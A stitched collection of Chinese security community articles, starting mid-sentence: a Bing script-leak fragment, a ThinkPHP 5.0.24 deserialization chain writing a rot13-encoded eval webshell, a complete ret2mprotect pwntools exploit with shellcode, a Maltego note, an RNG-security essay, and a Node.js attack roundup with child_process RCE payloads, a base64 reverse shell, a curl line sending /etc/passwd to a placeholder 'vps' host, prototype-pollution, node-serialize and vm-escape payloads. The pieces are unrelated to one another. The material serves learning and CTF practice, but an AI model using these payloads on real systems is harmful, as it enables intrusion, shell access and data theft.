bypass的另一种方式），这种方式有一个优点和一个缺点，缺点是如果我们找到一个使用XMLHttpRequest的脚本，我们就不能利用它，因为它会在我们自己的域下运行；优点是我们仍然可以读取错误信息，然后可以添加代码，让代码继续执行，直到我们获得重要的泄露信息。
例如，我们可以在importScripts之前创建一个“sj_jc”函数，让脚本继续运行下去，
// Main
var worker = new Worker('workerimporterror.js');
worker.onerror = function(err)
{
("URL: "+ err.filename +
"nnLine: " + err.lineno +
"nnError: " + err.message);
}
//---- workerimporterror.js ---- function sj_ic(){} // Empty to suppress the first error and read the next one.
importScripts(http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js);
新的错误如下：
**更新**
这个漏洞的CVE编号为CVE-2016-7281,微软编号为MS-16-145
漏洞测试地址：[http://www.cracking.com.ar/demos/workerleak/](http://www.cracking.com.ar/demos/workerleak/)
PoC下载：<https://goo.gl/rflIrM> | 社区文章 |
## 漏洞环境
漏洞测试环境：PHP5.6+Linux+ThinkPHP5.0.24
漏洞测试代码 **application/index/controller/Index.php** 。
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
## 漏洞分析
**POP** 链入口点为 **think\process\pipes:__destruct** 方法。通过 **__destruct** 方法里调用的
**removeFiles** 方法，可以利用 **file_exists** 函数来触发任意类的 **__toString** 方法，这里我们选择
**think\Model** 类来触发。由于该类为抽象类，所以我们后续在构造 **EXP** 的时候得使用其子类，例如：
**think\Model\Pivot** 类。
在先前的 **ThinkPHP5.1.X** 反序列化链中，都是在调用 **think\Model:toArray()** 时触发
**think\Request:__call()** 。然而 **ThinkPHP5.0.X** 中的 **think\Request:__call()**
写法与 **ThinkPHP5.1.X** 的不一样了，因为成员变量不可控。
所以我们需要找其他可利用的 **__call** 方法，这里我们选择 **think\console\Output** 类。其 **__call**
方法最终会调用到 **$this- >handle->write()** ，而这个 **$this- >handle** 可控，所以思路就是找一个类的
**write** 方法可以实现写文件。
这里，我们将 **think\console\Output** 类的 **handler** 属性设置成
**think\session\driver\Memcached** 类对象。因为我们发现
**think\cache\driver\File:set()** 方法可以写文件，刚好
**think\session\driver\Memcached:write()** 中调用了 **set** 方法，且又有一个可控的
**handler** 属性。我们继续深入，看看如何利用 **think\cache\driver\File:set()** 方法写文件。
首先， **$filename** 的前一部分 **$this- >options['path']** 可控，但是这时的 **$value=true**
，其在 **think\console\Output:writeln()** 方法中固定为 **true**
，也就是说下图第158行写入文件的代码我们不可控。但是我们继续往下看，发现 **$this- >setTagItem($filename)** 中又调用了
**set** 方法写文件，而此时传入的 **$value** 为我们部分可控的 **$filename** 。那么此时，我们就可以使用 **PHP**
的伪协议来写 **shell** 。
例如，我们将部分可控的 **$this- >options['path']** 设置成
`php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>`
，最后就会生成一个一句话木马（访问 **webshell** 的时候，注意要将文件名中的 **?** 号 **URL编码** 成 **%3f** ）。
后面的利用基本讲完了，我们再回到刚刚的 **think\Model:toArray()** ，因为我们还没说明选择何处调用 **__call**
方法。这里我们选择通过下图第912行的 **$value- >getAttr()** ，来触发
**think\console\Output:__call()** 方法。
那么这里的 **$value** 一定是 **think\console\Output** 类对象，其在上图第902行 **$this->getRelationData($modelRelation)** 被赋值。其中，参数 **$modelRelation = $this->$relation()** ，实际上就是 **think\Model** 类任意方法的返回结果。这里我选择返回结果简单可控的 **getError**
方法。
参数已经可控了，接下来我们就直接看 **think\Model:getRelationData()** 的具体代码。下图的 **$this->parent** 肯定是 **think\console\Output** 类对象，所以我们只需要满足下面的 **if** 语句即可。这里我们
**think\model\Relation** 类的 **isSelfRelation、getModel** 方法返回值都可控，所以我们找
**think\model\Relation** 的子类套一下即可。
万一网站不允许写文件，我们可以稍微修改下 **payload** 用于创建一个 **0755** 权限的目录（这里利用的是
**think\cache\driver\File:getCacheKey()** 中的 **mkdir** 函数），然后再往这个目录写文件。
最终生成 **shell** 的 **EXP** 如下：
已删除
## 参考
[ThinkPHP v5.0.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/196364) | 社区文章 |
# 一步一步分析return to mprotect的利用
> 看到网上很少专门写这个漏洞利用方式的文章,就想参考自己之前的学习记录来写一篇记录.
## 原理:
* mprotect()函数: 用来修改一段指定内存区域的保护属性.
* 函数原型如下:
int mprotect(const void* start, size_t len, int prot);
- void* start: 区段开始位置
- size_t len: 区段的大小
- int prot:区段的权限(可以用8进制来表示)
* 我们可以通过mprotect()函数来修改区段的权限(例如bss),使其权限变为(rwx),然后将shellcode写进去并跳转过去.
* * *
## 利用场景:
* 当一些函数被禁用时(例如system)
* 需要修改某一些区域的权限以达到自己想做的操作
* * *
## 准备工作:
* 写一个c来测试一下,为了方便测试,就关闭了canary保护.(附件提供写好的题目,源码和exp)
#include <stdio.h>
#include <stdlib.h>
void vuln(){
char s[0x20];
puts("Input:");
gets(&s);
}
int main(void){
vuln();
exit(0);
}
* 编译:
gcc -fno-stack-protector test.c -o vuln
* * *
## 实验步骤:
1. 泄漏内存地址,通过计算得到libc地址
2. 通过mprotect函数来修改一段区域的权限
3. 向这段区域写入shellcode
4. 跳转到写入shellcode的区域
* * *
## Start:
* #### 检查保护:
[*] '/mnt/hgfs/Ubuntu/mycode/demo/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
* #### 0x01 : 泄漏内存地址,通过计算得到libc地址
from pwn import *
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
pop_rdi_ret = 0x0000000000400663
vuln_addr = 0x00000000004005B6
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(vuln_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
r.interactive()
运行结果:
* #### 0x02:通过mprotect函数来修改bss的权限为rwx:
from pwn import *
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
bss_start_addr = 0x00601000
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x00000000000202e8
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
pop_rdx_ret = libc.address + 0x0000000000001b92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_start_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main_addr)
r.recvuntil("Input:")
gdb.attach(r)
r.sendline(payload)
r.interactive()
查看bss段(修改前):
函数参数:
修改后的bss:
* #### 0x03 向bss段中写入shellcode:
from pwn import *
import time
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
bss_start_addr = 0x00601000
shellcode_addr = 0x00602000-0x100
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x00000000000202e8
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
pop_rdx_ret = libc.address + 0x0000000000001b92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_start_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
gdb.attach(r)
r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'
r.interactive()
###### 这里需要注意 asm(shellcraft.sh())默认生成的是32位的shellcode
需要自己添加64位支持,本文中的方法为添加:`context.binary = './vuln'`
可以看到此时shellcode已经写入我们构造的bss段
* ## 0x04:getshell
跳转到bss段即可,
完整的exp如下:
from pwn import *
import time
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
bss_start_addr = 0x00601000
shellcode_addr = 0x00602000-0x100
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8,'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x00000000000202e8
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
pop_rdx_ret = libc.address + 0x0000000000001b92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_start_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
# gdb.attach(r)
r.sendline(asm(shellcraft.sh())) # context.binary = './vuln'
######### step4 : ret2bss
payload = cyclic(40)
payload+= p64(shellcode_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.interactive() | 社区文章 |
# Maltego使用导图
##### 译文声明
本文是翻译文章，文章来源：道极_
译文仅供参考，具体内容表达以及含义原文为准。
****
**author:道极_**
首先我是刚入行业不久的小白,再者我很喜欢社会工程学,当时网上一搜社会工程学利用工具就出现了Maltego这个工具,然而这个工具是国外的,国内的参考资料很少,我就研究了几天,全是英文的怎么办?我就一行一行把软件的常用按钮翻译了一遍,没错,是一行一行手工翻译的,然后就制成了这个思维导图,按着这个导图使用Maltego,很容易上手,分享给大家 | 社区文章 |
# 神经网络与随机数的安全性分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 airza，文章来源：airza.net
原文地址：<https://www.airza.net/2020/11/09/everyone-talks-about-insecure-randomness-but-nobody-does-anything-about-it.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
伟大的冯·诺依曼曾经说过，任何一个考虑用数学方法来生成随机数的人，脑壳都不太好使。在这篇文章中，我将使用一个神经网络来破解随机噪声，针对Xorshift128的预测位准确率可高达95%。
在此之前，我曾对客户端电子邮件令牌生成时所使用的安全代码进行过审查。老实说，我不太记得之前那些代码长啥样了，但大概意思如下：
`"""gotta make a token and send it to the client!"""
very_random_number = get_random_number()
two_factor_token = convert_representation(very_random_number)
send_email("Your two factor authentication token is:"
+two_factor_token,user_email)
save_token_to_user(user_id,two_factor_token)`
类似上面的这种代码增强了大部分互联网应用的安全性，如果用户想要重置他们的密码，他们就要输入自己的电子邮箱。接下来，我们将生成一个秘密代码并将其发送到用户的电子邮箱中。当用户点击了邮箱中的链接之后，也就验证了他们身份的合法性。有的时候，当用户尝试登录网上银行时，我们还会给他们发送类似的数字文本代码，而这种随机数与用户之间的关联也是基于Cookie的身份验证的主要部分。
但是，这种代码真的安全吗？没错，这需要看情况来定。当然了，我们也可以去攻击电子邮件组件，因为有的时候电子邮件并不会对发送的信息进行加密。或者说，我们也可以选择去攻击数据之间的某些关联性，因为令牌和电子邮件也可能是由攻击者控制的数据或其他东西派生出来的。在这里，随机数生成的质量也很重要，至少在理论上是这样的：一些随机数生成器是可预测的，而另一些则很难被攻击。如果我们能预测到生成的随机数，那麻烦可就大了，因为我们只需要触发将邮件发送给用户，然后以某种方式预测出生成的随机数，那用户就凉凉了。从另一方面来说，即使我们能够“预测”出随机数，剩下的事情也没那么简单，因为我们还需要了解convert_representation代表的是什么。
我认为机器学习在这方面可以给我们提供很大的帮助。事实上，这个想法早就在我的脑海里萦绕了好几年了。但是到目前为止，我还没有看到任何已有的文献能够证明这种想法是可行的，而且也没有人真正知道该如何去下手。最后，多亏了Phil
Brass Weird Ideas基金会的慷慨资助，我才能够有好几个礼拜的时间能够有条不紊地去思考这个问题。
实际上，我所使用的方法其实比较简单，我将在接下来的文章中跟大家讨论如何在计算机中生成随机数字，然后讨论如何将随机性的概念转化为一个可学习的问题。除此之外，我还会尝试去解决随机数目前所面临的安全问题，然后给大家提供一个路线图，并说明如何继续缩小我当前进度与可用攻击之间的距离。
## 随机数当前的安全现状
在我看来，计算机这种“不人不鬼”的东西就是一个捉摸不透的“生物”。尽管我们可以通过各种各样的方式和条件来对计算机的行为进行严格限制，但有的时候我们又会去要求计算机的行为变化无常，因为我们人类不具备这样的能力，所以我们会要求计算机来帮我们去选择一个比数字更加疯狂的数字，也就是一个看似完全“随机”的数字。比如说，通过调用Xorshift128，这个算法允许我们选择一个介于0到40亿之间的数字（确切地说是2的32次方），当然了，如果让我们自己去选择，我们选出来的数字没有理由是绝对随机的，而且肯定会偶尔有相同的数字。不过这个算法令人吃惊的是，在遇到随机模式的重复数字之前，我们可以调用这个函数2的128次方次。
这里就存在一个问题了，别忘了文章开头的第一句话说过，噢不对，应该是冯·诺依曼提到过：编程是一门艺术，你能准确地告诉它你想让它做什么，或多或少地提前告诉它你想让它产生什么样的随机的东西，但是这两种方法首先都违背了程序的目的，而且在编程级别上也提出了非常非常大的逻辑性挑战。当然了，我们普通人可没那么多时间和精力去做40亿次某件事情，即使你做了，把这些数字全部写下来也是浪费时间浪费资源的事情。另一方面来说，如果只循环几个可用的数字，这就更不可行了，这样何来的随机性可言？如果只循环使用0到2的32次方之间的几百个整数，那么实际上也并没有提供太多的随机性。
现在，让我们暂时抛开随机性的问题，我们来从编程的角度去考虑它。我们可以将随机数发生器（RNG）定义为可以输出一系列数字的东西。为了确保它们尽可能的随机，我们还将引入一些新的东西，比如说“状态”。当“状态”被传递到这个RNG函数中时，除了输出一个随机数之外，它还将输出一个新的“状态”。接下来，我们可以把这个输出的“状态”重新传递给RNG，然后继续生成下一个随机数，然后又拿到一个新的“状态”，如此反复，最终得到我们想要的随机数字。
随机数发生器（RNG）是由冯·诺依曼（Von
Neumann）在20世纪40年代的某个时候发明的，因此RNG的标准相对来说还是有点古老了。其中，需要对N位数进行平方计算，然后计算的结果中取N/2个中间数字作为输出以及下一次迭代的“状态”平方。举个简单的例子，我们取n=2，其工作原理如下：我们从43开始，平方得到1849，然后去中间的两个数字得到结果为84。此时，数字84就是我们的新“状态”，接下来继续取该“状态”的平方，得到7056，取中间值得到05，然后继续输出新的“状态”。接下来得到的就是25，这里我们标记为0025，给到我们的新“状态”为2，然后继续计算得到0004，这里就被标记成了0，以此类推…
大家看，这里我们好像进入了一个死循环。0的平方当然是0，这就好像不那么随机了。事实上，不管你从哪个数字开始，这种行为都是很糟糕的。下表列出了所有状态/输出，表明向循环方向退化的趋势是不可避免的：
对于“状态”为4位数的版本，性能更好，相关伪代码如下：
def von_neumann_generator(state):
"""The version with a 4 digit state/output
not to be confused with the one above, that
has two."""
#e.g. 1234**2->1522756
square = state**2
#1522756 -> 01522756
formattedSquare = "%08d" % square
#01522756 -> 5227
next_state = output = int(formattedSquare[2:6])
return (next_state,output)
state = 1234
for i in range(20):
state,output = von_neumann_generator(state)
print(output)
在上面的例子中，您可以看到状态和输出是相同的，但是没有特别的原因必须这样做。例如，我们可以将状态设置为内部四个数字，输出为外部四个数字：
def much_better_von_neumann_generator(state):
square = state**2 # e.g. 1234**2->1522756
formattedSquare = "%08d"%square
output = int(formattedSquare[0:2]+formattedSquare[6:])
next_state = int(formattedSquare[2:6])
return (next_state,output)
state = 1234
for i in range(40):
state,output = much_better_von_neumann_generator(state)
print(output)
虽然这个RNG还不是最安全的状态，但随机数的输出和“状态”之间的关系已经很难去预测了。然而，它们在某种因果意义上显然是相互关联的。现在，我们已经逐渐开始看到RNG设计中的一些关键矛盾点了：
不可预测性–增加输出/状态中的位数会增加输出的不可预测性。有时设计不太成熟的算法（如上面的算法）最终会退化为某种不安全的低随机性状态，但在计算机中使用的大多数算法在返回到原始状态之前，会以某种顺序简单地迭代整个状态。比如说，我们可以通过计算位数来验证生成的随机数是均匀分布的，这里就不得不提到加密安全的伪随机数发生器（CSPRNGS）。
性能–不幸的是，CSPRNGs非常慢。而高性能RNG相比来说则更为常见，几乎每个网站都在不断地向访问或登录的用户发送一系列随机数字，而在网络游戏中，它们更是无处不在。因此，仅仅使用CSPRNG并不一定是正确的。也就是说，现在使用的高性能算法比我上面演示的算法要好得多。
政治方面-这就不适合在这里详细讨论了，有些地方的当局会要求开发人员使用他们所定义的所谓的“超级安全”的RNG标准，但实际上这些标准都是存在后门的。这一点大家心里清楚就好了，毕竟之前也被曝光过。
## 后话
在《神经网络与随机数的安全性分析（上）》中，我们对随机数发生器（RNG）的安全方面进行了讨论，后续内容我们将在《神经网络与随机数的安全性分析（下）》中与大家继续讨论，请大家及时关注安全客的最新发布。 | 社区文章 |
## 危险函数所导致的命令执行
### eval()
eval() 函数可计算某个字符串，并执行其中的的 JavaScript
代码。和PHP中eval函数一样，如果传递到函数中的参数可控并且没有经过严格的过滤时，就会导致漏洞的出现。
简单例子：
main.js
var express = require("express");
var app = express();
app.get('/eval',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})
var server = app.listen(8888, function() {
console.log("应用实例，访问地址为 http://127.0.0.1:8888/");
})
**漏洞利用：**
Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。在eval函数的参数中可以构造`require('child_process').exec('');`来进行调用。
弹计算器(windows)：
/eval?q=require('child_process').exec('calc');
读取文件(linux)：
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
反弹shell(linux)：
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果，直接调用会报错。
注意：BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
如果上下文中没有require(类似于Code-Breaking 2018
Thejs)，则可以使用`global.process.mainModule.constructor._load('child_process').exec('calc')`来执行命令
paypal一个命令执行的例子：
[[demo.paypal.com] Node.js code injection
(RCE)](https://artsploit.blogspot.com/2016/08/pprce2.html)
(使用数组绕过过滤，再调用child_process执行命令)
### 类似命令
间隔两秒执行函数：
* setInteval(some_function, 2000)
两秒后执行函数：
* setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数
输出HelloWorld：
* Function("console.log('HelloWolrd')")()
类似于php中的create_function
以上都可以导致命令执行
## Node.js 原型污染漏洞
Javascript原型链参考文章：[继承与原型链](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)
### 关于原型链
文章内关于原型和原型链的知识写的非常详细，就不再总结整个过程了，以下为几个比较重要的点：
* 在javascript，每一个实例对象都有一个prototype属性，prototype 属性可以向对象添加属性和方法。
例子：
object.prototype.name=value
* 在javascript，每一个实例对象都有一个`__proto__`属性，这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象：
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
* 不同对象所生成的原型链如下(部分)：
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链：
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链：
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链：
// f ---> Function.prototype ---> Object.prototype ---> null
### 原型链污染原理
对于语句：`object[a][b] = value`
如果可以控制a、b、value的值，将a设置为`__proto__`，我们就可以给object对象的原型设置一个b属性，值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下，都会拥有b属性，且值为value。
来看一个简单的例子：
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下，也会输出Hello
World呢？就是因为在第二条语句中，我们对object1的原型对象设置了一个foo属性，而object2和object1一样，都是继承了Object.prototype。在获取object2.foo时，由于object2本身不存在foo属性，就会往父类Object.prototype中去寻找。这就造成了一个原型链污染，所以原型链污染简单来说就是如果能够控制并修改一个对象的原型，就可以影响到所有和这个对象同一个原型的对象。
### merge操作导致原型链污染
merge操作是最常见可能控制键名的操作，也最能被原型链攻击。
* 简单例子：
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
object3 = {}
console.log(object3.b)
需要注意的点是：
在JSON解析的情况下，`__proto__`会被认为是一个真正的“键名”，而不代表“原型”，所以在遍历object2的时候会存在这个键。
最终输出的结果为：
1 2
2
可见object3的b是从原型中获取到的，说明Object已经被污染了。
### Code-Breaking 2018 Thejs
这个题目已经有很多的分析文章了，但因为它是一个比较好的学习原型链污染的题目，还是值得自己再过一遍。
题目源码下载：<http://code-breaking.com/puzzle/9/>
直接npm install可以把需要的模块下载下来。
server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
// 定义session
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
// 获取post数据并合并
data = lodash.merge(data, req.body)
req.session.data = data
// 再将data赋值给session
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log('Example app listening on port 3000!'))
问题出在了lodashs.merge函数这里，这个函数存在原型链污染漏洞。但是光存在漏洞还不行，我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性，所以我们需要去寻找一个可以被利用的属性。
页面最终会通过lodash.template进行渲染，跟踪到lodash/template.js中。
如图可以看到options是一个对象，sourceURL是通过下面的语句赋值的，options默认没有sourceURL属性，所以sourceURL默认也是为空。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
如果我们能够给options的原型对象加一个sourceURL属性，那么我们就可以控制sourceURL的值。
继续往下面看，最后sourceURL传递到了Function函数的第二个参数当中：
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了。
最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器)：
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
(这里直接用require会报错：ReferenceError: require is not defined
p神给了一个更好的payload：
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
## node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中，使用`npm install [email protected]`安装模块。
* 了解什么是IIFE：
[IIFE（立即调用函数表达式）](https://developer.mozilla.org/zh-CN/docs/Glossary/%E7%AB%8B%E5%8D%B3%E6%89%A7%E8%A1%8C%E5%87%BD%E6%95%B0%E8%A1%A8%E8%BE%BE%E5%BC%8F)是一个在定义时就会立即执行的
JavaScript 函数。
IIFE一般写成下面的形式：
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();
* `[email protected]`漏洞点
漏洞代码位于node_modules\node-serialize\lib\serialize.js中：
其中的关键就是：`obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) +
')');`这一行语句，可以看到传递给eval的参数是用括号包裹的，所以如果构造一个`function(){}()`函数，在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload：
* 构造Payload
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为：
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls
/',function(error, stdout, stderr){console.log(stdout)});}"}`
因为需要在反序列化时让其立即调用我们构造的函数，所以我们需要在生成的序列化语句的函数后面再添加一个`()`，结果如下：
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls
/',function(error, stdout, stderr){console.log(stdout)});}()"}`
(这里不能直接在对象内定义IIFE表达式，不然会序列化失败)
传递给unserialize(注意转义单引号)：
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
执行命令成功，结果如图：
## Node.js 目录穿越漏洞复现(CVE-2017-14849)
在vulhub上面可以直接下载到环境。
漏洞影响的版本：
* Node.js 8.5.0 + Express 3.19.0-3.21.2
* Node.js 8.5.0 + Express 4.11.0-4.15.5
运行漏洞环境：
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
用Burpsuite获取地址：`/static/../../../a/../../../../etc/passwd`
即可下载得到`/etc/passwd`文件
具体分析可见：[Node.js CVE-2017-14849
漏洞分析](https://security.tencent.com/index.php/blog/msg/121)
## vm沙箱逃逸
vm是用来实现一个沙箱环境，可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸：
逃逸例子：
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
执行之后可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码：
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
创建vm环境时，首先要初始化一个对象 sandbox，这个对象就是vm中脚本执行时的全局环境context，vm 脚本中全局 this 指向的就是这个对象。
因为`this.constructor.constructor`返回的是一个`Function
constructor`，所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的)
这里构造的函数内的语句是`return this.process.env`，结果是返回了主程序的环境变量。
配合`chile_process.exec()`就可以执行任意命令了：
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。
具体分析可参考：[CVE-2019-10758:mongo-expressRCE复现分析](https://xz.aliyun.com/t/7056)
## javascript大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
**CTF题实例 - Hacktm中的一道Nodejs题**
题目部分源码：
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
